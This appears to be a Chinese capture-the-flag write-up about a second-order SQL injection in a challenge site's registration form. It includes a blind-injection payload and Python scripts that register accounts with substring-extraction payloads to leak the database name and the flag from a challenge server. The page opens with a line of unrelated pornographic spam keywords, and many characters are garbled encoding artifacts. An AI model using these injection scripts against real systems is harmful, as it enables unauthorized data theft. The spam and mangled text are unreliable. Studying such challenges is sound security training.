小男孩‘自慰网亚洲一区二区,亚洲一级在线播放毛片,亚洲中文字幕av每天更新,黄aⅴ永久免费无码,91成人午夜在线精品,色网站免费在线观看,亚洲欧洲wwwww在线观看

分享

攻防世界

 新用戶88342ytu 2020-10-13

題目分析

題目描述為:SQL

題目主要功能界面分析:

主要分為注冊(cè)、登陸、以及成功登陸后的一個(gè)界面。

通過描述可以知道題目應(yīng)該存在SQL注入漏洞。

圖片

掃描得知注冊(cè)界面存在SQL注入漏洞

嘗試構(gòu)造sql盲注語句如下

{'username': "1' and ELT(left((SELECT schema_name FROM information_schema.schemata limit 0,1),1)='d',SLEEP(5)) or '1'='1", 'password': 'admin', 'email': 'eamil@eamil.com'}

得到結(jié)果為

圖片

即存在過濾

測(cè)試發(fā)現(xiàn)過濾了逗號(hào)、information

那么使用盲注應(yīng)該不太行了,但是username這邊的內(nèi)容是可以執(zhí)行,所以我們將username的值拼接上查找出來的內(nèi)容,利用登陸后會(huì)顯示用戶名做到一個(gè)二次注入的效果。

解題流程

首先可知注冊(cè)的sql語句應(yīng)該為

insert into tables values('$email','$username','$password')

我們通過控制post的參數(shù)

構(gòu)造sql語句為:

insert into tables values('admin1@admin.com','0'+ascii(substr((select database()) from 1 for 1))+'0','admin')

即插入的username即拼接上了我們要查找的

查數(shù)據(jù)庫腳本如下

import requests
import time
from bs4 import BeautifulSoup       #html解析器

def getDatabase():
    database = ''
    for i in range(10):
        data_database = {
            'username':"0'+ascii(substr((select database()) from "+str(i+1)+" for 1))+'0",
            'password':'admin',
            "email":"admin11@admin.com"+str(i)
        }
        #注冊(cè)
        requests.post("http://159.138.137.79:52974/register.php",data_database)
        login_data={
            'password':'admin',
            "email":"admin11@admin.com"+str(i)
        }
        response=requests.post("http://159.138.137.79:52974/login.php",login_data)
        html=response.text                  #返回的頁面
        soup=BeautifulSoup(html,'html.parser')
        getUsername=soup.find_all('span')[0]#獲取用戶名
        username=getUsername.text
        if int(username)==0:
            break
        database+=chr(int(username))
    return database

print(getDatabase())

得到數(shù)據(jù)庫名為web

然后嘗試獲取表名失敗,因?yàn)檫^濾了information

看了評(píng)論說表名全靠猜哈哈

圖片

還是給上一個(gè)獲取flag的腳本

腳本中途獲取表名失敗了,被我注釋了~~emmm

import requests
import time
from bs4 import BeautifulSoup       #html解析器

def getDatabase():
    database = ''
    for i in range(10):
        data_database = {
            'username':"0'+ascii(substr((select database()) from "+str(i+1)+" for 1))+'0",
            'password':'admin',
            "email":"admin11@admin.com"+str(i)
        }
        #注冊(cè)
        requests.post("http://159.138.137.79:52974/register.php",data_database)
        login_data={
            'password':'admin',
            "email":"admin11@admin.com"+str(i)
        }
        response=requests.post("http://159.138.137.79:52974/login.php",login_data)
        html=response.text                  #返回的頁面
        soup=BeautifulSoup(html,'html.parser')
        getUsername=soup.find_all('span')[0]#獲取用戶名
        username=getUsername.text
        if int(username)==0:
            break
        database+=chr(int(username))
    return database

print(getDatabase())


def getTables():
    tables = ''
    for i in range(10):
        data_tables = {
            'username':"0'+ascii(substr((select tables()) from "+str(i+1)+" for 1))+'0",
            'password':'admin',
            "email":"admin12@admin.com"+str(i)
        }
        #注冊(cè)
        requests.post("http://159.138.137.79:52974/register.php",data_tables)
        login_data={
            'password':'admin',
            "email":"admin12@admin.com"+str(i)
        }
        response=requests.post("http://159.138.137.79:52974/login.php",login_data)
        html=response.text                  #返回的頁面
        soup=BeautifulSoup(html,'html.parser')
        getUsername=soup.find_all('span')[0]#獲取用戶名
        username=getUsername.text
        if int(username)==0:
            break
        tables+=chr(int(username))
    return tables
'''
print(getTables())
'''

def getFlag():
    flag = ''
    for i in range(40):
        data_flag = {
            'username':"0'+ascii(substr((select * from flag) from "+str(i+1)+" for 1))+'0",
            'password':'admin',
            "email":"admin32@admin.com"+str(i)
        }
        #注冊(cè)
        requests.post("http://159.138.137.79:52974/register.php",data_flag)
        login_data={
            'password':'admin',
            "email":"admin32@admin.com"+str(i)
        }
        response=requests.post("http://159.138.137.79:52974/login.php",login_data)
        html=response.text                  #返回的頁面
        soup=BeautifulSoup(html,'html.parser')
        getUsername=soup.find_all('span')[0]#獲取用戶名
        username=getUsername.text
        if int(username)==0:
            break
        flag+=chr(int(username))
    return flag

print(getFlag())

圖片

    本站是提供個(gè)人知識(shí)管理的網(wǎng)絡(luò)存儲(chǔ)空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點(diǎn)。請(qǐng)注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購買等信息,謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請(qǐng)點(diǎn)擊一鍵舉報(bào)。
    轉(zhuǎn)藏 分享 獻(xiàn)花(0

    0條評(píng)論

    發(fā)表

    請(qǐng)遵守用戶 評(píng)論公約

    類似文章 更多